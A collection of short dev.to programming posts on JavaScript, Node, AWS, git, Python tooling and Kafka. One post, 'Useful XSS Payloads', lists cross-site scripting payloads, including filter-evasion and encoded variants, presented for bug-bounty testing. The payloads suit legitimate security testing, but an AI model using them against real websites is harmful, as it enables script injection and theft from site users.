teleren/devto huggingface dataset:
How can I execute an event handler at most once?
Tags: javascript, beginners, programming
Published: 2022-10-30 10:00:00

### jQuery

Back in the day when jQuery was all the rage, we would usually use [`$.one()`](https://api.jquery.com/one/) to create an event handler that would execute at most once for a given event per element. A simple example would be as follows:

```html
<button id="my-btn">Click me!</button>
```

```js
$('#my-btn').one('click', () => {
  console.log('Hello!');  // 'Hello!' will only be logged on the first click
});
```

### Using a flag

However, jQuery seems to have fallen out of favor lately and thus many developers have resorted to writing their version of `$.one()`. An implementation could look like this:

```js
const listenOnce = (el, evt, fn) => {
  let fired = false;
  el.addEventListener(evt, (e) => {
    if (!fired) fn(e);
    fired = true;
  });
};

listenOnce(
  document.getElementById('my-btn'),
  'click',
  () => console.log('Hello!')
);  // 'Hello!' will only be logged on the first click
```

In this implementation, we use a flag, `fired`, to check if the event has been triggered before and only execute the passed callback, `fn`, the first time the event is triggered. There are some details that we might have omitted such as removing the listener, but overall this is a reasonably solid implementation.

### Event listener options

If you are targeting modern browsers (i.e. not IE), [`EventTarget.addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) has introduced the `options` object parameter, which allows us to pass a few different flags, one of which is `once`. Setting `once` to `true` results in the exact same behavior as the snippet above with minimal effort.

Here's one way to write the previous snippet using `once`:

```js
const listenOnce = (el, evt, fn) => el.addEventListener(evt, fn, { once: true });

listenOnce(
  document.getElementById('my-btn'),
  'click',
  () => console.log('Hello!')
);  // 'Hello!' will only be logged on the first click
```

---

_Do you like short, high-quality code snippets and articles? So do we! Visit [30 seconds of code](https://www.30secondsofcode.org/) for more articles like this one or follow us on [Twitter](https://twitter.com/30secondsofcode) for daily JavaScript, React and Python snippets!_ 👨‍💻
Keep Your MacBook Battery Healthy and Extend Its Life using Python
Tags: python, macos, battery, management
Published: 2022-10-30 09:54:33

Hello Dev.to Community :)

I am making this article for people who use macbook in their day to day life and want to protect their battery life and keep it healthy for a long time.

I have made a very simple python script that helps you get notifications whenever your mac is successfully charged even when you are not in the room you will get notifications.

## Features of MacBook Battery Full Notification

- Set your preferred number of battery percentage.
- Get Notifications on your email when your mac is fully charged.
- Get a Toast Notifications on your Macbook when its fully charged.

## Upcoming Features:

1. Notifications via Whatsapp.
2. Free Notification Text Service.

According to **[How to Geek](https://www.howtogeek.com/764654/how-to-keep-your-macbook-battery-healthy-and-extend-its-life/#autotoc_anchor_0)**:

Keeping your charger connected to your MacBook can potentially damage your battery health and reduce its overall lifespan.

That's about it, Thanks for reading the article.

**[Download the Source Code Here
](https://github.com/itsOwen/MacOS-Battery-Full-Alert)**
How to find the number of days between two dates in PHP
Tags: development, opensource, phpdevelopment, php
Published: 2022-11-13 15:17:36

---
title: How to find the number of days between two dates in PHP
published: true
date: 2022-10-30 09:36:55 UTC
tags: development,opensource,phpdevelopment,php
canonical_url: https://blog.devgenius.io/how-to-find-the-number-of-days-between-two-dates-in-php-1404748b1e84
---

[![](https://cdn-images-1.medium.com/max/2600/0*FVhISbL8G313tDo0)](https://blog.devgenius.io/how-to-find-the-number-of-days-between-two-dates-in-php-1404748b1e84?source=rss-17217f29618a------2)

Get the Number of Days Between Two Dates

[Continue reading on Dev Genius »](https://blog.devgenius.io/how-to-find-the-number-of-days-between-two-dates-in-php-1404748b1e84?source=rss-17217f29618a------2)
What is OS module - NodeJS
Tags: node, webdev, web, programming
Published: 2022-10-30 09:14:28


NodeJS is a powerful for tooling and creating script. NodeJS   helps in automation of boring manual tasks.

NodeJS has lot of built-in packages and it is hard to pick which is the most powerful as all are equally important and powerful. 

I will be sharing a series of post on each module. Starting from 'OS'.

## What?

OS (operating system)

Use OS when you need information of the underlying operating System. This is pretty helpful when you are running your project on different platforms or beyond just web.

## How to use it?

Just require it in your file. 

```Javascript
const os = require('os')
```

## Methods

OS has a lot of methods. Here a few common ones :

```Javascript
os.arch() // Returns the operating system CPU architecture
```

```Javascript
os.platform() // Returns information about the operating system's platform
```

```Javascript
os.userInfo() // Returns information about the current user
```

```Javascript
os.totalmem() // Returns the number of total memory of the system
```

```Javascript
os.freemem() // Returns the number of free memory of the system
```

Thanks for reading!! PS: Do check official document of the NodeJS for OS Module.

Next we will explore 'fs'
Learn how things work behind the curtain. Understand the magic.
Tags: tools, skills
Published: 2022-10-30 18:56:32

---
title: Learn how things work behind the curtain. Understand the magic.
published: true
date: 2022-10-30 09:03:20 UTC
tags: tools, skills
canonical_url: https://peterwitham.com/development-notes/learn-how-things-work-behind-the-curtain/?utm_source=rss&utm_medium=rss&utm_campaign=learn-how-things-work-behind-the-curtain
---

![Post image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lv6g1colzcs4vgn37ulc.jpeg)

We are blessed to be working at a time when we have so many great tools, add-ons, and services to help us get our work done.

But with that convenience comes some ignorance.

I know that sounds harsh. Read on.

It is too easy to use a tool or let something take care of fixing issues, templated code, or command line Kung foo to make building something faster without knowing what it is doing or how it works.

Take time to learn what just happened and why. There are a couple of reasons to do this.

1. You never know when a tool might stop working. Maybe it broke in a software upgrade, became obsolete, not maintained, and will no longer work in the future.

2. Never trust the code you did not write. Yes, this is tough, but you never know what might be waiting to bite you.

A classic example that I have come across so many times is people that use a tool for Git and never learn how to do even just basic commands from a terminal.

Why should you bother?

Because you might have to SSH to a machine that does not have the same tools you are used to. Likely, a server will only have the tools it needs to perform tasks. That would be good practice, by the way.

So you need to know how to perform Git tasks from the terminal and do so confidently without screwing something up, especially in a production environment. If you were on one of my teams, I’d expect you to be able to do this.

So next time you sit down and use the tools of choice, take a few minutes to understand what they are doing. Then, next time, try and do it without the convenient tool and see if you learned what you need to take those skills to the next level and maybe impress teammates along the way.

Need another reason?

Sure, think about this one, this will happen one day if you ever interview for a position.

They will likely not let you use the tool or have it available during technical interviews, so they know that you at least understand how things work.

I bet that one just got your attention!


The post [Learn how things work behind the curtain. Understand the magic.](https://peterwitham.com/development-notes/learn-how-things-work-behind-the-curtain/) appeared first on [Peter Witham](https://peterwitham.com).
Deploying PHP applications using AWS OpsWorks
Published: 2022-10-30 08:28:31

---
title: Deploying PHP applications using AWS OpsWorks
published: true
---

# Introduction

![Arch_AWS-OpsWorks_64@5x.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666799637811/I7g_LUFOW.png)

AWS OpsWorks lets you automate tasks by customizing individual parts of your application using Chef or Puppet-managed instances. The building blocks of AWS OpsWorks are **stacks**. Stacks allow you to model your application in multiple layers.

# Typical Application server stack

In typical applications, these can be represented as web, application, and database tiers.

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666799694402/IAaKi-5Vc.png)

_[Image Source](https://docs.aws.amazon.com/opsworks/latest/userguide/welcome.html)_

# AWS OpsWorks Stacks

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1666799808302/UYdFMdAXg.png)

_[Image Source](https://docs.aws.amazon.com/opsworks/latest/userguide/welcome_classic.html)_

AWS OpsWorks lets you provision EC2 instances at any level and configures them with Chef to automate repetitive tasks like software installation and configuration.

You can achieve these benefits by using the AWS OpsWorks cookbooks created by AWS. This cookbook is open source and you can create your own cookbook or assemble it to suit your application requirements.

Kindly watch the below video to know more about AWS OpsWorks.



{% youtube cSaCLCzN1Rk %}


# Demo

In this article, you will create an OpsWorks stack that will be used to model a simple PHP application.

Kindly watch the below video to deploy PHP applications using AWS OpsWorks.


{% youtube huaYDgcQaDE %}


# Conclusion

From this article, you have learned on

- How to create an AWS OpsWorks Stack that utilizes Chef 11 and the Amazon Linux operating system. 
- How to create a layer in AWS OpsWorks that represents your PHP application servers. 
- How to successfully create and deploy your PHP application using AWS OpsWorks.

Gratitude for perusing my article till the end. I hope you realized something unique today. If you enjoyed this article then please share it with your buddies and if you have suggestions or thoughts to share with me then please write in the comment box.

Follow me and share your thoughts,
[GitHub](https://github.com/MakendranG)
[LinkedIn](https://www.linkedin.com/in/makendran/)
[Twitter](https://twitter.com/MakendranG)


The above blog is submitted under 'Devtron Hacktoberfest 2022' conducted by [Devtron](https://devtron.ai/). Check out their Github repo and give it a star ⭐️ if you like it. Follow Devtron on [LinkedIn](https://www.linkedin.com/company/devtron-labs/),
Automate Posting in Blogger in Seconds
Tags: python, automation
Published: 2022-10-30 08:17:32

I have setup auto posting my article on blogger using python and here are the steps...

## 1. Get your blog id first. 
For this open view source page of your blog and find this line
`<link rel="service.post" type="application/atom+xml" title="Shopping Gennie - Atom" href="https://www.blogger.com/feeds/293367/posts/default">`

Here `293367` is your blog id.

## 2. Install EasyBlogger library to interact with blogger 

- Run command 

```
pip install EasyBlogger
```
- After installation, add open cmd and run this command to install additional dependencies else you will see this error message: 

![Error](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6ircsjv1gsddrs6mcajs.png)

```
winget install pandoc
```

- After that run this command: 

```
easyblogger --blogid <blogid> get
```

> example: easyblogger --blogid 293367 get

This will open a browser. You may see a chrome warning that it can't be run as root - but you can ignore that.


![auth](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bbi0dsosr6iisu5xraeo.png)

> You will need to repeat the OAuth2 authorization process if you ever change the blog, or revoke permissions or if the auth token expires.

> make sure to install pandoc too, if throws error till now

**All set !**

## 3. Write Script to post it 

Let’s start by getting files from the blog. You can do that with

```
easyblogger --blogid <blogid> get
```

This will print out all the titles of the posts along with their post-id’s


> _4330888278066099970,OnePlus Nord N200 | 5G Unlocked Android Smartphone U.S Version | 6.49" Full HD+LCD Screen | 90Hz Smooth Display | Large 5000mAh Battery | Fast Charging | 64GB Storage | Triple Camera,Blue Quantum,http://shoppingennie.blogspot.com/2022/10/oneplus-nord-n200-5g-unlocked-android.html_

And to fetch just one post, grab a postid from above and run,

```
easyblogger --blogid <blogid> get -p 437344021642199000 -d markdown
```

## 3. Make a python script to auto posting

I have already made for you if you want to do amazon product posting in blog else change html content that's it. 

**Script link:**[Here](https://gist.github.com/heykush/2e00cd37e254b3d8b12060191ac37378)

Simply add your blog id in script, and you are ready to auto post your article. 

*Let me if you find any error and doubts. Connect me here:* _https://twitter.com/ravvkush_
How can ignore a files that have already been committed to the repo?
Tags: tips, github, git, commit
Published: 2022-10-30 08:03:55

If a file already committed and pushed into your github repo. And you forgot to add in .gitignore and make your push. Then you can ignore that file by ( make sure you add that file name in `.gitignore` ) - 

> Remove the files from the index (not the actual files in the working copy)
```bash
git rm -r --cached .
```
> Add these removals to the Staging Area
```bash
git add .
```
```bash
git commit -m "your commit message"
```
Voila 🐌
The futuristic html course is here!
Tags: showdev, productivity, python, programming
Published: 2022-10-30 08:01:00

Hello my dear developers in this day iam gonna give you a opportunity to read and learn our free html course.This course is secured.From this course you can learn basics of html and can make a small website.
TRY IT NOW!
Course pdf link:- https://docs.google.com/document/d/e/2PACX-1vSy_kM36qMEGwQejIoyWcJfqyLsvI-ZLhtpEREVc6z5DF6ZrEME8HuzcBsLcGb3l3IJ5mUd8waNgc3K/pub
Kafka have 3 partitions, but only send to 1 consumer
Published: 2022-10-30 07:41:26

hi..
i am trying to receive message from producer:
1. i registered 1 topic with 3  partitions
2. started 3 CLI with same consumer-group
3. Send the message from producer
4. However, only 1 CLI receive the message. how can i fix this?

my expected output is that the message is distributed to 3 CLI.

says I send A,B,C,D

then CLI-1 : A
CLI-2 : B
CLI-3 : C
CLI-1 : A

Something like this
What is Amazon VPC ? and how to create it
Tags: aws, vpc, network
Published: 2022-10-30 07:35:02

Amazon VPC is virtual network provided by AWS.
VPC stands for Virtual Private Cloud.
You can create a web services in VPC, and you can　also connect VPC to Internet. 

In this post I will explain how to create a VPC with your AWS account.

At first you have to choose VPC in your AWS management console ,and next tap the "create VP" button.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xjlaux2kchaluf9r3g2s.png)

After you tapped "create VPC" , you have to set CIDR block to reserve IP address for your VPC. 
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ux2ylbmz3lbrxzq2bqg7.png)

In this part , you may realize the notation "/24".
IP address is a binary number with 32 digits.
"/24" means  the first 24 digits in this IP address is fixed , and the rest 8(32-24) digits are unfixed.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hipzfnahwiyeh6atdlw6.png)


So with the address 172.16.1.0/24 ,you can reserve IP address ranging from 172.16.1.0 to 172.16.1.255 .

After you set the CIDR block , click the "create VPC" in button right bottom. 
Now you have created one VPC.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/j6dg8qtd0vp8rwaqjw2u.png)
Useful XSS Payloads
Tags: cybersecurity, security, web3
Published: 2022-10-30 07:34:51

## In this post i will show top and useful xss payloads in 2022. i found xss vulnerabilities in many web apps with some of them below.

> You can use payloads below when you are dealing with a injection that goes inside the value of a input: 

```
\"-alert(1)//
\'-alert(1)//
%26apos;-alert(1)-%26apos
'-alert(1)-'
```

> Use these payloads when you are injecting inside a script tag

```
</script><img/src/onerror=alert(1)>
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```

> And we have some common payloads here

```
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

```

> Find Security and Bug Bounty Books in my telegram channel ==> {% embed https://t.me/spi_sec %}
Innovative Developer Community
Tags: googlecloud, freecourses, qwiklab, students
Published: 2022-10-30 07:26:02

Hey guys,
[Innovative Developer](https://t.me/innovativedeveloper)🚀 we're building community dedicated to students to help them to explorer with their career related domains and finding the perfect Internship/Job Opportunities!!!🎯
Join [Innovative Developer](https://t.me/innovativedeveloper) Community
Create Python Requirement file in better way
Tags: python, git, beginners, productivity
Published: 2022-10-30 07:14:42

- Install **pipreqs** python library 

```
pip3 install pipreqs
```


![Install](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/o6difhb68e35manvj3na.png)

- Run command in the **project current directory** for which requirements.txt required.

```
python -m  pipreqs.pipreqs 
```

![Use](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/69imcm9b7ohzjdeqn7o9.png)

😎 ## How better than pip freeze?

Pip freeze make requirements.txt of all python library install in your machine but not for the library which is used in particular projects.
How to create a pull request in GitHub?: A small guide to beginners in Hacktoberfest-2022
Tags: github, git, terminal, pullrequest
Published: 2022-10-30 07:11:08

With the Hacktober Fest 2022, it is important to learn how to fork and clone a repository so you can make valid changes and later make a pull request. This article is for beginners who are confused as to how we can contribute to the open source.

You know the basic git commands which I have discussed in my article named — [Git: The Basics](https://dev.to/pragyasapkota/git-the-basics-3oi7). However, contributing to other people’s repositories might be tricky if you’re new to it. So, let’s start with the way to fork the GitHub projects. For that reason, I have made this short guide for you.

First, visit the repository you want to fork and work on. You can see the option fork in the figure below: -

![Fork](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4f2g0lbr5h02k6dfmk1k.jpeg)

This will create a copy of the above [portfolio](https://github.com/Pragya2056/Portfolio) in your profile under your username as: -

`https://github.com/<username>/<repo_name>`

Now, we need to bring the repo to your local device with the help of the following command: -

`git clone https://github/<username>/<repo_name>`

This would download all the code, branches, and commits from the original repository to your device. Then, we need to do some things that are explained below: -

- Creating a new branch

`git checkout -b branch_name`

- Creating a new remote for the upstream repo with the command (Not always required)

`git remote add upstream <original repo_name>`

- Then, you can make changes in the code and the usual push operations: -

`git add .`

`git commit -m "the changes"`

`git push -u origin branch_name`

After this, you can go to your GitHub repo you forked earlier and then click the “compare and pull request” button and you will be redirected to a screen where you can also add comments for the request and you can finally create a successful pull request which the maintainer will see and review to decide if they want to merge the changes.

{% embed https://github.com/aygarp-modsiw/Git-and-GitHub %}

**_I hope this article was helpful to you._**
 
**_Please don’t forget to follow me!!!_**

**_Any kind of feedback or comment is welcome!!!_**

**_Thank you for your time and support!!!!_**

**_Keep Reading!! Keep Learning!!!_**
AXI Smartconnect - not for AXIS!
Tags: fpga, opensource, xilinx
Published: 2022-10-30 06:46:29

I learned today that the AXI Smartconnect block is for memory mapped and not stream. It's right there in the name (AXI and not AXIS) but I didn't notice until after I integrated it and tried to build the project. The error messages revealed all!

`### ad_connect dvbs2_encoder_wrapper_0/m_axis encoder_upsizer/S00_AXI
CRITICAL WARNING: [BD 41-177] The types of the interfaces 'm_axis'(xilinx.com:interface:axis:1.0) and 'S00_AXI'(xilinx.com:interface:aximm:1.0) are incompatible. They cannot be connected.`